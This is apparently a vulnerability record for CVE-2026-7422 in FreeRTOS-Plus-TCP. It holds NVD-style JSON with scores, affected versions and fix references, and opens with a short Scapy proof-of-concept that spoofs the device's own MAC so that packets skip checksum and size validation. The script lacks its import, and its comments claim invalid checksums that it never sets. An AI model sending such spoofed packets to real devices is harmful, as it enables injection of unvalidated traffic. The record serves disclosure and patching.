CVE-2026-7422

# PoC Concept: Spoofing Source MAC to bypass FreeRTOS-Plus-TCP validation # This script requires Scapy to run. # Target Interface MAC address (The MAC owned by the vulnerable device) target_mac = "00:11:22:33:44:55" # Construct a packet where Source MAC == Destination MAC (Target's MAC) # This tricks the device into thinking it's a loopback packet. packet = Ether(src=target_mac, dst=target_mac) / \ IP(src="192.168.1.100", dst="192.168.1.100", ihl=5, len=100) / \ TCP(sport=12345, dport=80) # Send the packet # The device should accept this packet even if checksums are invalid # due to the loopback detection bypass. sendp(packet, iface="eth0", verbose=1) print("[+] Packet sent with spoofed source MAC to bypass validation.")

{"cve": {"id": "CVE-2026-7422", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-29T19:16:26.487", "lastModified": "2026-05-04T13:43:07.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient packet validation in FreeRTOS-Plus-TCP before V4.2.6 and V4.4.1 allows an adjacent network actor to bypass all checksum and minimum-size validation by spoofing the Ethernet source MAC address to match one of the device's own registered endpoints, because the loopback detection mechanism skips all input validation for packets whose source MAC matches a local endpoint.\n\n\n\nTo mitigate this issue, users should upgrade to the fixed version when available."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.2.6", "matchCriteriaId": "DE7A5C38-9CEA-461B-9272-3B8BFC06BFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.4.1", "matchCriteriaId": "375C7032-9CFB-480C-BFFA-029C985A82B7"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-021-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.2.6", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.4.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/security/advisories/GHSA-jpw4-6h59-62w9", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory", "Patch"]}]}}